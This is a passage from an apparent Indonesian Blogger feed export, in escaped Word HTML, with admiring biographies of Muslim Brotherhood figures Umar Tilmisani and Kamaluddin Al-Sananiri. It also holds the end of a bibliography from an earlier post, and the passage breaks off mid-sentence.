&lt;i&gt;Ibid&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;&quot; id=&quot;ftn8&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-edit.do#_ftnref8&quot; name=&quot;_ftn8&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;;font-family:&amp;quot;;font-size:10;&quot;  &gt;[8]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; &lt;i&gt;Ibid&lt;/i&gt;&lt;/p&gt;&lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; line-height: 150%;&quot; align=&quot;center&quot;&gt;DAFTAR PUSTAKA&lt;/p&gt;  &lt;p style=&quot;text-align: center; line-height: 150%;&quot; align=&quot;center&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;&lt;a name=&quot;87&quot;&gt;&lt;/a&gt;&lt;a name=&quot;91&quot;&gt;&lt;/a&gt;__&lt;a href=&quot;http://download.ymci.web.id/pakdenono/content/pakdenono1/web_offline/media.isnet.org/ISLAM/Paramadina/Jurnal/Arab3.html&quot;&gt;&lt;span style=&quot;text-decoration: none; color: rgb(0, 0, 0);&quot;&gt;http://download.ymci.web.id/pakdenono/content/pakdenono1/web_offline/media.isnet.org/ISLAM/Paramadina/Jurnal/Arab3.html&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;&lt;span class=&quot;a&quot;&gt;__&lt;a href=&quot;http://www.waspada.co.id/index2.php?option=com_content&amp;amp;do_pdf=1&amp;amp;id=7132&quot;&gt;&lt;span style=&quot;text-decoration: none; color: rgb(0, 0, 0);&quot;&gt;www.waspada.co.id/index2.php?option=com_content&amp;amp;do_pdf=1&amp;amp;id=7132&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span class=&quot;a&quot;&gt;&lt;span style=&quot;&quot;&gt;         &lt;/span&gt;___www.suaramerdeka.co.id&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;br /&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;/div&gt;  </description><link>http://slendangwetan29.blogspot.com/2010/01/fatima-mernissi.html</link><author>noreply@blogger.com (SlendangWetan)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNOjzOYhfBbUGRO0fX0bElfvhKuRl5QPTUQ-EN3EXr5zPGrFGLzdrVCDtzRAIFR-dmIcKH89sgMML6BmZxnO3uR30JYmeJkGjnOjCFz5UE7tFcTT7Q246hYzil8ULbxUH7B4hIc2G0do0/s72-c/images.jpeg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-3144695542380705571</guid><pubDate>Sat, 02 Jan 2010 22:54:00 +0000</pubDate><atom:updated>2010-01-02T14:55:33.925-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">kajian Tokoh Kontemporer</category><title>Syikh Umar Tilmisani  (mursyid III Ikhwanul Muslimin, 1322-1406 H/1904-1986 M)</title><description>&lt;meta equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;&gt;&lt;meta name=&quot;ProgId&quot; content=&quot;Word.Document&quot;&gt;&lt;meta name=&quot;Generator&quot; content=&quot;Microsoft Word 11&quot;&gt;&lt;meta name=&quot;Originator&quot; content=&quot;Microsoft Word 11&quot;&gt;&lt;link rel=&quot;File-List&quot; href=&quot;file:///C:%5CDOCUME%7E1%5Caggs%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml&quot;&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate=&quot;false&quot; latentstylecount=&quot;156&quot;&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:&quot;Angsana New&quot;; 	panose-1:2 2 6 3 5 4 5 2 3 4; 	mso-font-charset:222; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:16777217 0 0 0 65536 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:&quot;&quot;; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	mso-bidi-font-size:14.0pt; 	font-family:&quot;Times New Roman&quot;; 	mso-fareast-font-family:&quot;Times New Roman&quot;; 	mso-bidi-font-family:&quot;Angsana New&quot;; 	mso-bidi-language:TH;} @page Section1 	{size:595.3pt 841.9pt; 	margin:72.0pt 90.0pt 72.0pt 90.0pt; 	mso-header-margin:35.4pt; 	mso-footer-margin:35.4pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:&quot;Table Normal&quot;; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:&quot;&quot;; 	mso-padding-alt:0cm 5.4pt 0cm 5.4pt; 	mso-para-margin:0cm; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:&quot;Times New Roman&quot;; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;span style=&quot;&quot;&gt;          &lt;/span&gt;Syaikh Umar Tilmisani adalah sosok Ustadz Umar Abdul Fattah bin Abdul Qadir Mushthafa Tilmisani. Ia menjabat menjadi Mursyid ‘Am Ikhwanul Muslimin setelah wafatnya Mursyid ‘Am kedua, Hasan Al-Hudhaibi, bulan November 1973.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Tempat ,tanggal lahir dan Masa kecil Syaikh Umar Tilmisani.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Garis keturunan Syikh Umar Tilmisani berasal dari Tilmisan ,Al-jazair. Ia lahir di kota Kairo ,tahun 1322 H/1904,tepatnya di jalan Hausy Qadam,Al-Ghauriah. Ayah dan kakaknya pedagang kain dan batu permata.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Kakek Syaikh Umar Tilmisani seorang Salafi yang banyak mencetak buku-buku karya Syaikh Muhammad bin Abdul Wahab. Karena itu, ia tumbuh dan besar dilingkungan yang jauh dari bid’ah.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Syaikh Umar Tilmisani mengikuti Sekolah Dasar di Sekolah yang di kelola yayasan sosial tingkat menengah dan atas di Madrasah Ilhamiyah, kemudian masuk Fakultas Hukum.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Tahun 1933, Syaikh Umar Tilmisani tamat dari Fakultas Hukum, kemudian mendirikan kantor pengacara di Syabin Al-Qanathir dan bergabung dengan jama’ah ikwanul Muslimin.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Syaikh Umar Tilmisani pengacara pertama yang bergabung dengan Ikhwan, mewakafkan pemikiran, dan potensi untuk membelanya.Ia termasuk orang dekat Asy-Syahid Hasan Al-Banna. Ia sering menyertai Al-Banna dibeberapa lawatan, baik di dalam maupun di luar Mesir. Bahkan, Al-Banna sering meminta bantuannya dalam menyelesaikan beberapa masalah. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Syaikh Umar Tilmisani menikah saat duduk di bangku Sekolah Menengah Atas. Istrinya wafat bulan Agustus 1979, setelah menyertainya setengah abad lebih. Dari pernikahan ini iIa dikaruniai empat orang anak; Abid,Abdul Fattah, dan dua putri.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Kesibukan Syaikh Umar Tilmisani sebagai pengacara tidak membuatnya lupa memperkaya diri dengan ilmu pengetahuan. Ia banyak menelaah beragam ilmu, seperti tafsir, hadits, fiqh, sirah, tarikh, dan biografi para tokoh.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Syikh Umar Tilmisani selalu mengikuti perkembangan berbagai konspirasi musuh Islam, baik di dalam maupun di luar negeri. Ia rajin mewaspadai, mengkaji, menentukan sikap, menentang konspirasi dengan bijaksana dan nasihat yang baik, membantah tuduhan-tuduhan, mementahkan ungkapan-ungkapan, dan mengikis syubhat-syubhatyang dibuatnya, dengan kepercayaan diri orang mukmin yang tahu ketinggian nilai agamanya dan kehinaan di selain Islam. Sebab, tiada penolong setelah Allah &lt;i&gt;ta’ala&lt;/i&gt; dan tiada agama yang diridhoi Allah selain Islam.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Komitmen diri Syaikh Umar Tilmisani&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Syaikh Umar Tilmisani meninggalkan kesan positif pada orang-orang yang mengenal atau berhubungan dengannya. Ia di karuniai kelebihan hati, kebersihan jiwa, kehalusan ucapan, keluasan ucapan yang keluar dari lisan, keindahan pemaparan, teknik berdebat, dan berdialog yang sangat baik.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Syaikh Umar Tilmisani menceritakan komitmen dirinya, “kekerasan dan ambisi untuk mengalahkan orang lain tidak pernah menemukan jalan untuk masuk ke dalam aklakku. Karena itu, saya tidak bermusuhan dengan siapa pun, kecuali dalam rangka membela kebenaran, atau menerapkan Kitab Allah &lt;i&gt;Ta’ala. &lt;/i&gt;Kalaupun ada permusuhan, maka itu berasal dari pihak mereka, bukan dariku. Saya menyumpah diriku untuk tidak menyakiti seorang pun dengan kata-kata kasar, meski saya tidak setuju dengan kebijakannya, atau bahkan ia menyakitiku. Karena itu, tidak pernah terjadi permusuhan antara diriku dengan seseorang karena masalah pribadi.”&lt;br /&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Tidak berlebihan kalau saya bahwa siapa pun yang keluar dari majelisnya, pasti mengagumi, menghormati, dan mencintai dai unik yang menjadi murid Imam Hasan Al-Banna ini, lulus dari &lt;i&gt;madrasahnya, &lt;/i&gt;dan bergabung dengan jamaahnya sebagai dai yang tulus dan iklash.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Akhlak dan Sifat Syaikh Umar Tilmisani&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Syikh Umar Tilmisani sangat pemalu, seperti diketahui orang-orang yang melihatnya dari dekat.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Orang yang sering duduk dan berdialog dengan Syaikh Umar Tilmisani merasakan bahwa keras dan lamanya ujian yang ia alami di penjara, malah mensterilkan dirinya, hingga tiada tempat di dalam dirinya selain kebenaran. Ia mendekam di balik jeruji besi selama hampir dua puluh &lt;span style=&quot;&quot;&gt; &lt;/span&gt;tahun. Ia masuk penjara pertama kali tahun 1948. masuk lagi tahun 1954. Namun, ujian-ujian itu tidak mempengaruhi dirinya, dan bahkan menambah ketegasan dan ketegarannya.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Di wawancara dengan majalah &lt;i&gt;Al-Yamamah&lt;/i&gt; Arab Saudi, edisi tanggal 14 januari 1982, Syaikh Umar Tilmisani berkata,”Tabiat yang membesarkanku membuatku benci kekerasan, apapun bentuknya. Ini bukan hanya sekedar sikap politik, tapi sikap pribadi yang yang terkait langsung dengan struktur keberadaanku. Bahkan, andai dizalimi, saya tidak akan menggunakan kekerasan. Mungkin, saya menggunakan kekuatan untuk mengadakan perubahan, tapi tidak untuk kekerasan.”&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Nasihat-nasihat Syaikh Umar Tilmisani&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Di untaian nasehat yang disampaikan di depan generasi muda, dai Ikhwan,Ikhwan, dan lainnya, Syaikh Umar Tilmisani berkata, “Tantangan yang menghadang dai saat ini, sangat berat dan sulit. Kekuatan materi berada di tangan musuh-musuh Islam yang bersatu untuk memerangi umat Islam, meskipun mereka memiliki kepentingan berbeda. Jama’ah Ikhwanul Muslimin sekarang menjadi sasaran tembak mereka.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Menurut perhitungan manusia, pasukan Thalut yang beriman tidak mampu melawan Jalut dan tentaranya. Tapi, ketika pasukan kaum mukmin yakin&lt;span style=&quot;&quot;&gt;  &lt;/span&gt;kemenangan itu datang dari &lt;span style=&quot;&quot;&gt; &lt;/span&gt;Allah &lt;i&gt;Ta’ala&lt;/i&gt;, bukan hanya tergantung pada jumlah personil dan kelengkapan persenjataan, maka mereka dapat mengalahkan pasukan Jalut dengan seizin Allah &lt;i&gt;Ta’ala&lt;/i&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Saya tidak meremehkan kekuatan personil. Juga tidak meminta dai selalu bungkam, berdzikir dengan menggerakkan leher kekanan dan kekiri, memukulkan telapak tangan, dan berpangku tangan. Sebab, itu semua bencana yamg membahayakan dan mematikan.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Sesungguhnya, yang saya inginkan adalah berpegang teguh dengan wahyu Allah &lt;i&gt;Ta’ala&lt;/i&gt;, berjihad dengan kalimat yang benar, tidak menghiraukan gangguan, menjadikan diri sebagai teladan dalam kepahlawanan, bersikap ksatria, tegar,dan yakin bahwa Allah &lt;i&gt;Ta’ala&lt;/i&gt; pasti menguji hamba-hamba-Nya dengan rasa takut,lapar, kekurangan harta, jiwa, dan buah-buahan, agar dapat diketahui siapa yang tulus dan siapa yang munafik. Aspek-aspek inilah yang merupakan penyebab kemenangan. Kisah-kisah Al-Qur’an ialah argumen paling baik dalam masalah ini.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Semangat pemuda yang diiringi pemahaman mendalam tidak memerlukan banyak eksperimen. Tapi, sangat membutuhkan kesabaran, kekuatan komitmen pada aturan-aturan Al-Qur’anul karim, dan telaah &lt;i&gt;sirah &lt;/i&gt;generasi pendahulu yang telah menerapkannya di setiap aktivitas mereka. Itu penting, agar Allah &lt;i style=&quot;&quot;&gt;Ta’ala&lt;/i&gt; mengaruniakan kemenagan, kemuliaan, dan kekuasaan yang hampir dianggap mustahil.”&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;span style=&quot;&quot;&gt;                                                                                            &lt;/span&gt;&lt;span style=&quot;&quot;&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  </description><link>http://slendangwetan29.blogspot.com/2010/01/syikh-umar-tilmisani-mursyid-iii.html</link><author>noreply@blogger.com (SlendangWetan)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-57771492737759195</guid><pubDate>Sat, 02 Jan 2010 22:44:00 +0000</pubDate><atom:updated>2010-01-02T14:51:42.649-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">kajian Tokoh Kontemporer</category><title>Muhammad Kamaluddin A-Sananiri  (Dai dan Mujahid, 1336-1401 H/1918-1981)</title><description>&lt;meta equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;&gt;&lt;meta name=&quot;ProgId&quot; content=&quot;Word.Document&quot;&gt;&lt;meta name=&quot;Generator&quot; content=&quot;Microsoft Word 11&quot;&gt;&lt;meta name=&quot;Originator&quot; content=&quot;Microsoft Word 11&quot;&gt;&lt;link rel=&quot;File-List&quot; href=&quot;file:///C:%5CDOCUME%7E1%5Caggs%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml&quot;&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate=&quot;false&quot; latentstylecount=&quot;156&quot;&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:&quot;Angsana New&quot;; 	panose-1:2 2 6 3 5 4 5 2 3 4; 	mso-font-charset:222; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:16777217 0 0 0 65536 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:&quot;&quot;; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	mso-bidi-font-size:14.0pt; 	font-family:&quot;Times New Roman&quot;; 	mso-fareast-font-family:&quot;Times New Roman&quot;; 	mso-bidi-font-family:&quot;Angsana New&quot;; 	mso-bidi-language:TH;} @page Section1 	{size:595.3pt 841.9pt; 	margin:72.0pt 90.0pt 72.0pt 90.0pt; 	mso-header-margin:35.4pt; 	mso-footer-margin:35.4pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:&quot;Table Normal&quot;; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:&quot;&quot;; 	mso-padding-alt:0cm 5.4pt 0cm 5.4pt; 	mso-para-margin:0cm; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:&quot;Times New Roman&quot;; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;  &lt;p style=&quot;text-align: left;&quot; class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt;Assalamu&#39;alaikum teman-teman, sudah lama saya tidak mengupdate blospot ini.ya...maklumlah lagi ngurusin ummat, ummta yang mana nih...??? :-). sebagai awalannya aku coba kupas kembali sejarah sigkat seorang Pemikir Islam Kontemporer Syakh Muhammad Kamaluddin A-Sananiri. semoga bermanfaat. selamat membaca.&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot; class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: right;&quot; class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt;Wassalam..!&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: right;&quot; class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt;Slendangwetan&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: right;&quot; class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot; class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt; &lt;span style=&quot;font-weight: bold;&quot;&gt;Muhammad Kamaluddin A-Sananiri&lt;br /&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot; class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;(Dai dan Mujahid, 1336-1401 H/1918-1981)&lt;/span&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Muhammad Kamaluddin A-Sananiri lahir di Kairo tanggal 11 Maret 1918. Ia dibesarkan dari keluarga yang berkecukupan. Mengenyam studi ditingkat dasar dan&lt;span style=&quot;&quot;&gt;  &lt;/span&gt;menegah. Tahun 1934 bekerja di Departemen Kesehatan bagian&lt;span style=&quot;&quot;&gt;  &lt;/span&gt;Penanggulangan Penyakit Malaria. Tahun 1938, ia dipecat dari Departemen Kesehatan, kemudian berencana meneruskan kuliah di Universitas Amerika, jurusan farmasi, agar dapat bekerja di Apotik Al-Istiqal milik ayahnya. Tetapi salah seorang tokoh agama 